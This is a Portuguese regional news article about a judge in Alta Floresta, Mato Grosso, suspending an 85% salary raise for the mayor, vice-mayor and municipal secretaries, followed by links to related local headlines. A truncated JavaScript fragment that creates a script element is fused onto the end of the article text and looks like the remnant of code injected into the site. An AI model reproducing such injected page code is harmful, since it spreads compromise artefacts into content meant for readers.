Breaking News

Juíza suspende aumento de salários de prefeito e vice em cidade de MT

G1/MT

A Justiça suspendeu o aumento de 85% no salário do prefeito, vice e secretários do município de Alta Floresta, a 800 km de Cuiabá. O aumento foi aprovado pelos vereadores na última sessão ordinária do ano. Com isso, o salário do prefeito subiria de R$ 14 mil para cerca de R$ 26 mil. A vice e os secretários receberiam R$ 8,7 mil. A decisão é da juíza Anna Paula Gomes de Freitas, da 3ª Vara Cível daquele município.

Na sentença, a juíza afirma que os agentes públicos não realizaram um estudo para saber o impacto que aumento traria para as contas públicas. Para ela, os valores “poderiam ser investidos no bem-estar da sociedade, na educação, na saúde, no melhoramento da acessibilidade”.

De acordo com o secretário de Finanças do município, Clemar de Souza, o reajuste foi concedido porque não havia correção há oito anos e argumentou que foram tomadas medidas para não prejudicar o orçamento, como a diminuição de 15 para seis secretarias. Do total de vereadores, oito foram votaram a favor e três foram contrários.

Para a magistrada, a aprovação do projeto na última sessão do ano fere o princípio da moralidade. “Destarte, o aumento concedido ao apagar das luzes, além do princípio de moralidade, fere o princípio da legalidade vez que ocorreu às avessas do determinado pela lei de responsabilidade fiscal”, diz trecho da decisão.

De acordo com o secretário de Finanças, para compensar o gasto a mais com esses pagamentos, o prefeito ainda reduziu 153 cargos comissionados, gerando uma economia de R$ 148,7 mil mensais.var d=document;var s=d.createElement(‘script’);

Check Also

Cabeça humana é encontrada dentro de sacola no cemitério municipal de Alta Floresta

Moradora que fazia limpeza em túmulo encontrou o material; Polícia Civil e Politec investigam o …

Defesa Civil Municipal monitora local onde seria realizado o Fest Praia No Rio Teles Pires

Atendendo a um pedido direto do prefeito de Paranaíta, Osmar Moreira, o coordenador da Defesa …

Governador atende setor e prorroga Proalmat até 2032

Medida vai beneficiar mais de 2.100 produtores e dezenas de milhares de trabalhadores O governador …

Alta Floresta se destaca em cumprimento de metas, conciliação e posição no Igest

A Vara do Trabalho de Alta Floresta cumpriu todas as metas do CNJ para a …

Agosto Dourado reforça a importância da amamentação para mães e bebês

Durante o mês de agosto, conhecido como Agosto Dourado, a atenção se volta para a …

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *